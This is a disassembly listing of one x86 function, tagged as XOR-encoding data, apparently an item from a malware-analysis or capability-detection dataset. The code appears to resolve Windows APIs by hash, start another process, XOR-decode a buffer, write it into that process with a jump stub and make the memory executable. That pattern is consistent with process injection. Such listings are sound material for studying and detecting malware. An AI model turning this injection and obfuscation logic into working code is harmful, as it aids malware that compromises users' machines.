Function at 0x5150d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
push ebx
push edi
push esi
sub esp, 0x690
call fcn.00526140
push eax
pop esi
sub esp, 0xc
push eax
call fcn.005294f0
add esp, 0x10
mov ecx, dword [0x53e574]
mov edi, eax
imul edi, esi
lea eax, [edi + 0x20]
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp], eax
call fcn.00529030
add esp, 0xc
lea edx, [eax + edi + 0x20]
mov ecx, dword [0x53e844]
lea ebx, [edi + edx + 0x20]
imul edx, ebx
mov dword [ebp - 0x10], edx
lea eax, [edx + ebx]
sub esp, 0x10
mov dword [esp + 0xc], ecx
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.00524c70
add esp, 0x10
push eax
pop edi
call fcn.0052ae70
mov esi, eax
push edi
pop eax
and eax, esi
lea edi, [eax + 0x2000]
mov dword [ebp - 0x14], eax
and edi, eax
mov eax, dword [ebp - 0x10]
shl edi, 0xe
add edi, ebx
push edi
pop ebx
or ebx, eax
add ebx, eax
sub esp, 0xc
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call fcn.00527ac0
add esp, 0xc
add eax, dword [ebp - 0x10]
or esi, ebx
or esi, eax
mov eax, dword [ebp - 0x14]
lea ecx, [esi + eax]
mov dword [ebp - 0x10], ecx
sub esp, 4
push eax
call fcn.00527620
add esp, 8
sub eax, edi
and ebx, edi
and ebx, eax
mov eax, dword [ebp - 0x10]
xor eax, ebx
imul eax, esi
add esi, eax
mov dword [ebp - 0x10], eax
imul esi, ebx
add esi, edi
sub esp, 4
push dword [ebp - 0x14]
call fcn.00527230
add esp, 8
mov dword [ebp - 0x14], eax
sub esp, 0x10
mov dword [esp + 0xc], ebx
mov dword [esp], esi
call fcn.00526d40
add esp, 0x10
movsx eax, al
mov dword [ebp - 0x18], eax
sub esp, 4
call fcn.005296b0
sub esp, 0xc
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 0xc], eax
call fcn.00525870
add esp, 0x10
xor eax, ebx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call fcn.00529da0
add esp, 0xc
mov esi, 0xffffffff
call fcn.005238f0
test al, al
je 0x5156ce
call fcn.00514ea0
cmp dword [0x540b5c], 0
je 0x5156b8
push 0xfda8b77
push 0
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x598]
push 0x104
push ecx
push dword [0x540b5c]
call eax
mov eax, dword [0x540b5c]
test eax, eax
mov dword [ebp - 0x14], eax
je 0x5156b8
call fcn.00531740
lea esi, [ebp - 0xc4]
push eax
push esi
call fcn.0051e130
add esp, 8
lea eax, [ebp - 0x7e]
mov dword [ebp - 0xc4], 0x44
push eax
push 0x53c7b9
call fcn.005239e0
add esp, 8
lea edi, [ebp - 0x69c]
push 0xffffffffffffffff
push eax
push edi
call fcn.005211f0
add esp, 0xc
push 0x1e16041
push 0
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x34]
push ecx
push esi
push 0
push 0
push 4
push 0
push 0
push 0
push edi
push 0
call eax
push 0
push 0
push 1
push eax
call fcn.00524f00
add esp, 0x10
test al, 1
je 0x5156b8
push dword [ebp - 0x14]
call fcn.00518f30
add esp, 4
mov dword [ebp - 0x18], eax
call fcn.00533e10
push eax
push 0
call fcn.00523b90
add esp, 8
mov esi, dword [ebp - 0x34]
push eax
pop edi
call fcn.0052af50
push eax
pop ebx
call fcn.0052b230
push eax
push ebx
mov eax, dword [ebp - 0x18]
mov ebx, eax
push eax
push 0
push esi
call edi
mov esi, eax
push 0
push eax
call fcn.0052b7d0
add esp, 8
test al, 1
jne 0x5156b8
lea edi, [ebp - 0x390]
lea eax, [ebp - 0x598]
mov dword [0x541004], esi
mov ecx, edi
push eax
call fcn.0053b6b0
push edi
call fcn.005242a0
add esp, 4
mov ecx, edi
call fcn.0053b8b0
push ebx
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0051e4c0
add esp, 8
push esi
pop edi
push eax
pop esi
push ebx
push eax
call fcn.0051b510
add esp, 8
mov dword [ebp - 0x1c], edi
push edi
mov dword [ebp - 0x10], esi
push esi
call fcn.00513f70
add esp, 8
call fcn.005212c0
mov esi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
or esi, esi
je 0x5153c0
mov ebx, dword [ebp - 0x24]
sub edi, edi
nop
nop
nop
jmp 0x515399
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
xor byte [eax + edi], bl
rol ebx, 8
sub esp, 4
push 0
push 0
push 1
push edi
inc edi
call fcn.0052f9e0
add esp, 0x14
cmp esi, edi
jne 0x5153a0
mov dword [ebp - 0x20], 0
push 0xa48b0f9
push 0
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x20]
push ecx
push esi
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
push 0
push 0
push 0
push 1
push eax
call fcn.00525760
add esp, 0x14
test al, 1
je 0x5156b8
push 0x8cae838
push 0
call fcn.00523b90
add esp, 8
mov esi, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
call fcn.005264b0
mov edi, eax
call fcn.0052af50
mov ebx, eax
call fcn.0052b230
push eax
push ebx
mov ebx, dword [ebp - 0x18]
push edi
push 0
push esi
mov esi, dword [ebp - 0x1c]
call dword [ebp - 0x10]
or eax, eax
je 0x5156b8
mov dword [ebp - 0x10], eax
call fcn.00528510
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x60], eax
call fcn.0052a370
mov byte [ebp - 0x58], al
mov dword [ebp - 0x57], esi
mov byte [ebp - 0x53], 0xb9
mov dword [ebp - 0x52], ebx
call fcn.00531e60
mov byte [ebp - 0x4e], al
mov eax, dword [ebp - 0x24]
lea ebx, [ebp - 0x6c]
mov ecx, ebx
mov dword [ebp - 0x4d], eax
call fcn.0053b680
lea esi, [ebp - 0x390]
mov byte [ebp - 0x390], 0x83
push ebx
pop ecx
push esi
call fcn.0053b540
call fcn.00534000
mov byte [ebp - 0x390], al
mov ecx, ebx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0
push ebx
pop ecx
push esi
call fcn.0053b540
call fcn.00532bd0
mov byte [ebp - 0x390], al
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 9
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0x30
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 6
mov ecx, ebx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0x46
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0xc1
mov ecx, ebx
push esi
call fcn.0053b540
call fcn.00533cf0
mov byte [ebp - 0x390], al
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 8
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0x49
push ebx
pop ecx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0xeb
mov ecx, ebx
push esi
call fcn.0053b540
mov byte [ebp - 0x390], 0xf2
mov ecx, ebx
push esi
call fcn.0053b540
mov ecx, ebx
call fcn.0053ac70
mov ecx, ebx
mov edi, eax
call fcn.0053ad90
lea ecx, [ebp - 0x49]
push edi
push eax
push ecx
call fcn.0051e150
add esp, 0xc
mov eax, 0x5120d6
mov ebx, dword [ebp - 0x10]
mov byte [ebp - 0x3b], 0xe9
sub eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
sub eax, ebx
mov dword [ebp - 0x3a], eax
call fcn.0052d4a0
push eax
push 0
call fcn.00523b90
add esp, 8
lea edi, [ebp - 0x20]
lea ecx, [ebp - 0x60]
push edi
push 0x4a
push ecx
push ebx
pop edi
push ebx
push dword [ebp - 0x34]
call eax
cmp eax, 1
jne 0x5156b0
push 0x2cc
push esi
call fcn.0051e130
add esp, 8
call fcn.00524ac0
mov dword [ebp - 0x390], eax
call fcn.00533b80
push eax
push 0
call fcn.00523b90
add esp, 8
push esi
push dword [ebp - 0x30]
call eax
mov ebx, eax
call fcn.00533800
push eax
push 0
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x20]
push ecx
push 0x10
push 0x4a
push edi
push dword [ebp - 0x34]
call eax
cmp eax, 1
jne 0x5156b0
cmp ebx, 1
pushfd
xor ebx, ebx
inc ebx
popfd
mov dword [ebp - 0x2d8], edi
jne 0x51563f
push 0x4ba87e4
push 0
call fcn.00523b90
add esp, 8
push esi
push dword [ebp - 0x30]
call eax
xor ebx, ebx
cmp eax, 1
setne bl
push 0xd1a4de8
push 0
call fcn.00523b90
add esp, 8
lea ecx, [ebp - 0x20]
push ecx
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [ebp - 0x34]
call eax
cmp eax, 1
jne 0x5156b0
push 0
push 0
push 0
push 0
push ebx
call fcn.00534c90
add esp, 0x14
test al, 1
jne 0x51569b
call fcn.0052f730
push eax
push 0
call fcn.00523b90
add esp, 8
push 0
push 0
push 0
push dword [ebp - 0x10]
push 0
push 0
push dword [ebp - 0x34]
jmp 0x5156ae
call fcn.005317e0
push eax
push 0
call fcn.00523b90
add esp, 8
push dword [ebp - 0x30]
call eax
lea ecx, [ebp - 0x6c]
call fcn.0053b880
call fcn.00532dc0
push eax
push 0
call fcn.00523b90
add esp, 8
push 0
call eax
xor esi, esi
mov eax, esi
add esp, 0x690
pop esi
pop edi
pop ebx
pop ebp
ret